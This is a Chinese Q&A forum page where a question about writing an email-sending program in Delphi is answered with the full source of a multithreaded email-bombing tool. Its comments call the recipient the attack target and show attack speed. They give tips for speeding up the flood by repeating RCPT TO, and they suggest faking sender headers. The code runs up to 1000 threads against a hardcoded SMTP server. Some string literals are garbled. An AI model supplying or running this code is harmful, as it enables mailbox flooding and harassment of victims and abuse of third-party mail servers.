怎样用delphi编写一个在线发送邮件的程序

 我来答
联海万440
2016-10-22 · TA获得超过232个赞
知道答主
回答量:92
采纳率:0%
帮助的人:29.6万
展开全部
你这个问题有点不好说,你用indy插件比较好用
下面是不用控件实现的方法:

uses
 windows,messages,winsock,sysutils;
{$R *.RES}
const
 CRLF=#13#10;
 exename:pchar='邮箱信使';
var
 thd:array[1..1000] of integer;
 tid:array[1..1000] of dword;
 faint,hMutex,mcount,speed,newtime,oldtime,num,count,err:integer;
 s1:string;
 sbuf:array[0..1024] of char;
 dest:string;
 attstart:boolean;
//----------------------
 wClass:  TWndClass;  //窗口类变量
 Msg:   TMSG;    //消息变量
 hInst,         //程序实例
 Handle,        //主窗口句柄
 hFont,         //字体句柄
//----------------
 hButtonStart,  //开始按钮
 hButtonStop,  //停止按钮
 hButtonHelp,  //帮助按钮
 hButtonExit,  //退出按钮
 hEditEmail,   //e-mail编辑
 hEditCount,   //次数编辑
 hEditThread,  //线程数编辑
 hLabelEmail,  //e-mail提示
 hLabelCount,  //次数提示
 hLabelThread,  //线程数提示
 hLabelInfo   //领息提示
 :integer;     //句柄类型
//--------------------
//往一个窗口写标题
procedure WriteCaption(hwnd:hwnd;text:pchar);begin sendmessage(hwnd,WM_SETTEXT,0,integer(text));end;
//从一个窗口读标题
procedure ReadCaption(hwnd:hwnd;text:pchar);begin sendmessage(hwnd,WM_GETTEXT,400,integer(text));end;
//以下是网络连接的过程
function StartNet(host:string;port:integer):integer;
var
 wsadata:twsadata;
 fsocket:integer;
 SockAddrIn:TSockAddrIn;
 err:integer;
begin
 //为网络连接作好准备(用winsock1.1以上版本)
 err:=WSAStartup($0101,WSAData);
 //创建一个客户端套接字(Client Socket,用SOCK_STREAM,即TCP协义)
 FSocket := socket(PF_INET, SOCK_STREAM,IPPROTO_IP);
 //初始化网络数据
 SockAddrIn.sin_addr.s_addr:=inet_addr(PChar(host));
 SockAddrIn.sin_family := PF_INET;
 SockAddrIn.sin_port :=htons(port);
 //客户端向smtp进行连接
 repeat
 err:=connect(FSocket,SockAddrIn, SizeOf(SockAddrIn));
 until err=0;
 //
 Result:=FSocket;
end;
//以下是网络关闭的过程
procedure StopNet(Fsocket:integer);
var
 err:integer;
begin
 //发信结束,关闭客户端套接字(Close Client Socket)
 err:=closesocket(FSocket);
 //清除网络参数
 err:=WSACleanup;
end;
//下面是个发送数据包的过程
function SendData(FSocket:integer;SendStr:string):integer;
const
 MaxSize=1024;
var
 DataBuf:array[0..MaxSize] of char;
 err:integer;
begin
 //读取网络数据
 err:=recv(FSocket,DataBuf,MaxSize,0);
 //将网络数据写入主窗口的标题中,提示用户正在发信过程中
 //WriteCaption(handle,DataBuf);
 //向网络发送数据
 strcopy(DataBuf,pchar(SendStr));
 err:=send(FSocket,DataBuf,strlen(DataBuf),MSG_DONTROUTE);
 Result:=0;
end;
//下面是个发信的过程
procedure SendMail;
var SendBody:string;
 FSocket:integer;
begin
 repeat
  //指定smtp主机地址,这里用的是smtp.21cn.com,它的ip为(202.104.32.230)
  //指定smtp主机的发信端口,默认为25
  FSocket:=StartNet('202.104.32.230',25);
  //-------下面是发信过程的各步处理-------
  //---------------------------------------
  //第一步:发HELO指令,表示我要开始发信了
  SendData(FSocket,'HELO'+CRLF);
  //第二步:发MAIL FROM指令,表示发信人的信箱
  //  注意现在很多SMTP主机有只能允许本地合法用户发信
  //  所以发信者的信箱在发信主机中应是一个合法用户
  //  否则无法发信,比如hack001便是smtp.21cn.com中的一个合法用户
  SendData(FSocket,'MAIL FROM: <'+CRLF">hack001@21cn.com>'+CRLF);
  //第三步:发RCPT TO指令,表示目标用户的邮箱,就是你要攻击者的邮箱
  //  这一步可以用多个RCPT TO命令指向同一个目标,可以极大的加快攻击速度
  //  但对163.net好象不行,他加了过滤机制
  SendData(FSocket,'RCPT TO: <'+dest+'>'+CRLF);
  //第四步:发DATA指令,表示要向SMTP主机发数据
  SendData(FSocket,'DATA'+CRLF);
  //第五步:发具体数据,包括如下内容(信封和信体):
  //   From:表示发信者的地址,可以是假的用户(可以随机产生),后面以CRLF(即回车换行符)结束
  //   TO:表示收信者的地址,可以是假的用户(可以随机产生),后面以CRLF结束
  //   Subject:表示邮件主题,后面以CRLF结束
  //   后面一定要再加一个CRLF,表示信封部分结束了
  //   接下来是信的主体内容,可以是任何内容,后面以CRLF结束
  //   然后一定要再加一个.符号,表示信体结束,后面以CRLF结束
  SendBody:='From:"bome 2001"<'+CRLF">bome@hacker.com>'+CRLF
       +'To:"bome 2001"<'+CRLF">bome@hacker.com>'+CRLF
       +'Subject:New Bome 2001.'+CRLF
       +CRLF
       +'Hello World.'+CRLF
       +'.'+CRLF;
  SendData(FSocket,SendBody);
  //第六步:发结QUIT指令,表示发信过程结束
  SendData(FSocket,'QUIT'+CRLF);
  //
  waitforsingleobject(hMutex,INFINITE);
  //显示发信过程的剩余邮件数目
  WriteCaption(hLabelInfo,pchar('送出 '+inttostr(mcount)+' 封邮件 / '+'还有 '+inttostr(count)+' 封邮件 '+CRLF+
  '正在使用: '+inttostr(num)+' 个攻击线程'+CRLF+
  '经过时间: '+inttostr(newtime div 1000)+' 秒'));
  //总次数减一
  Dec(count);
  //调用发信过程,进行发信
  newtime:=integer(gettickcount())-oldtime;
  speed:=mcount*1000*60 div newtime;
  WriteCaption(handle,pchar('攻击速度: '+inttostr(speed)+' 封/分钟'));
  inc(mcount);
  //sleep(300);
  if count<=0 then break;
  releasemutex(hMutex);
  //
  StopNet(Fsocket);
 until count<=0;
end;
//------------------------------------
//以下是线程创建时调用的线程函数
function fun(Parameter: Pointer): Integer; stdcall;
begin
  SendMail;
  WriteCaption(handle,exename);
  WriteCaption(hLabelInfo,pchar('发送结束'));
  attstart:=true;
  result:=0;
end;
procedure ButtonStart;
var k:integer;
begin
 if attstart=true then
 begin
  attstart:=false;
  WriteCaption(hLabelInfo,pchar('发送开始........'));
  ReadCaption(hEditEmail,sbuf);dest:=strpas(sbuf);
  ReadCaption(hEditCount,sbuf);count:=strtoint(strpas(sbuf));
  ReadCaption(hEditThread,sbuf);Num:=strtoint(strpas(sbuf));
  oldtime:=gettickcount();
  mcount:=0;
  if Num>1000 then Num:=1000;
  for k:=1 to Num do
  thd[k]:=createthread(nil,0,@fun,nil,0,tid[k]);
 end;
end;
procedure ButtonStop;
var k:integer;
begin
 for k:=1 to Num do
 TerminateThread(thd[k],0);
 WriteCaption(handle,exename);
 WriteCaption(hLabelInfo,pchar('发送结束'));
 attstart:=true;
 count:=0;
end;
procedure MainCreate;
begin
 attstart:=true;
 hMutex:=createmutex(nil,true,'Bome2001');
 releasemutex(hMutex);
end;
procedure ButtonHelp;
begin
 s1:='本软件只用学习用,不可害人'+CRLF+
   '程序使用多线程100个线程,发送速度极快!'+CRLF;
   
 messagebox(handle,pchar(s1),'帮助',0);
end;
//主程序结束
procedure ShutDown;
begin
 CloseHandle(hMutex);
 //删除字体对象
 DeleteObject(hFont);
 //取消窗口类的注册
 UnRegisterClass(wClass.lpszClassName,hInst);
 //结束主进程
 ExitProcess(hInst);
end;
//这是主窗口的消息处理函数
function WindowProc(hWnd,Msg,wParam,lParam:integer):Longint; stdcall;
begin
 Result:=DefWindowProc(hWnd,Msg,wParam,lParam);
 case Msg of
 WM_COMMAND:
  if lParam=hButtonStart then ButtonStart
  else if lParam=hButtonStop then ButtonStop
  else if lParam=hButtonHelp then ButtonHelp
  else if lParam=hButtonExit then ShutDown;
 WM_CREATE:MainCreate;
 WM_DESTROY: ShutDown;
 end;
end;
//定义几个窗口创建函数
function

CreateButton(name:pchar;x1,y1,x2,y2:integer):hwnd;begin 
Result:=CreateWindow('Button',name,WS_VISIBLE or WS_CHILD or BS_PUSHLIKE
or BS_TEXT,x1,y1,x2,y2,Handle,0,hInst,nil);end;
function
CreateEdit(name:pchar;x1,y1,x2,y2:integer):hwnd;begin 
Result:=CreateWindowEx(WS_EX_CLIENTEDGE,'Edit',name,WS_VISIBLE or
WS_CHILD or ES_LEFT or
ES_AUTOHSCROLL,x1,y1,x2,y2,Handle,0,hInst,nil);end;
function
CreateLabel(name:pchar;x1,y1,x2,y2:integer):hwnd;begin 
Result:=CreateWindow('Static',name,WS_VISIBLE or WS_CHILD or
SS_LEFT,x1,y1,x2,y2,Handle,0,hInst,nil);end;
function CreateMain(name:pchar;x1,y1,x2,y2:integer):hwnd;
begin
 //取得应用程序实例句柄
 hInst:=GetModuleHandle(nil);
 //初使化窗口类的信息
 with wClass do
 begin
  Style:=     CS_PARENTDC;
  hIcon:=     LoadIcon(hInst,'MAINICON');
  lpfnWndProc:=  @WindowProc;
  hInstance:=   hInst;
  hbrBackground:= COLOR_BTNFACE+1;
  lpszClassName:= 'MainClass';
  hCursor:=    LoadCursor(0,IDC_ARROW);
 end;
 // 注册窗口类
 RegisterClass(wClass);
 // 建立主窗口
 Result:=CreateWindow(wClass.lpszClassName,name,WS_OVERLAPPEDWINDOW or WS_VISIBLE,x1,y1,x2,y2,0,0,hInst,nil);
end;
//---------主过程,类似于 C语言 中的 WinMain()
begin
 //建立主窗口
 handle:=CreateMain(exename,10,10,320,135);
 //建立四个控制按钮
 hButtonStart:=CreateButton('发送攻击',240,4+26*0,70,24);
 hButtonStop:=CreateButton('停止发送' ,240,4+26*1,70,24);
 hButtonHelp:=CreateButton('帮 助' ,240,4+26*2,70,24);
 hButtonExit:=CreateButton('退 出' ,240,4+26*3,70,24);
 //建立两个编辑框
 hEditEmail:=CreateEdit(bome@hacker.com',60,4,174,20">'bome@hacker.com',60,4,174,20);
 hEditCount:=CreateEdit('1000',60,4+26*1,60,20);
 hEditThread:=CreateEdit('10',193,4+26*1,41,20);
 //建立三个标签
 hLabelEmail:=CreateLabel('发送目标:',4,8,54,24);
 hLabelCount:=CreateLabel('发送次数:',4,8+26*1,54,24);
 hLabelThread:=CreateLabel('线程数:',124,8+26*1,66,24);
 hLabelInfo:=CreateLabel('等候命令.....',4,8+26*2,220,44);
 //创建字体对象
 hFont:=CreateFont(-12,0,0,0,0,0,0,0,GB2312_CHARSET,OUT_DEFAULT_PRECIS,CLIP_DEFAULT_PRECIS,DEFAULT_QUALITY,DEFAULT_PITCH
or FF_DONTCARE,'宋体');
 //改变字体
 SendMessage(hButtonStart,WM_SETFONT,hFont,0);
 SendMessage(hButtonStop,WM_SETFONT,hFont,0);
 SendMessage(hButtonHelp,WM_SETFONT,hFont,0);
 SendMessage(hButtonExit,WM_SETFONT,hFont,0);
 SendMessage(hEditEmail,WM_SETFONT,hFont,0);
 SendMessage(hEditCount,WM_SETFONT,hFont,0);
 SendMessage(hEditThread,WM_SETFONT,hFont,0);
 SendMessage(hLabelEmail,WM_SETFONT,hFont,0);
 SendMessage(hLabelCount,WM_SETFONT,hFont,0);
 SendMessage(hLabelThread,WM_SETFONT,hFont,0);
 SendMessage(hLabelInfo,WM_SETFONT,hFont,0);
 //进入消息循环
 while(GetMessage(Msg,Handle,0,0))do
 begin
  TranslateMessage(Msg);
  DispatchMessage(Msg);
 end;
end.
推荐律师服务: 若未解决您的问题,请您详细描述您的问题,通过百度律临进行免费专业咨询

为你推荐:

下载百度知道APP,抢鲜体验
使用百度知道APP,立即抢鲜体验。你的手机镜头里或许有别人想知道的答案。
扫描二维码下载
×

类别

我们会通过消息、邮箱等方式尽快将举报结果通知您。

说明

0/200

提交
取消

辅 助

模 式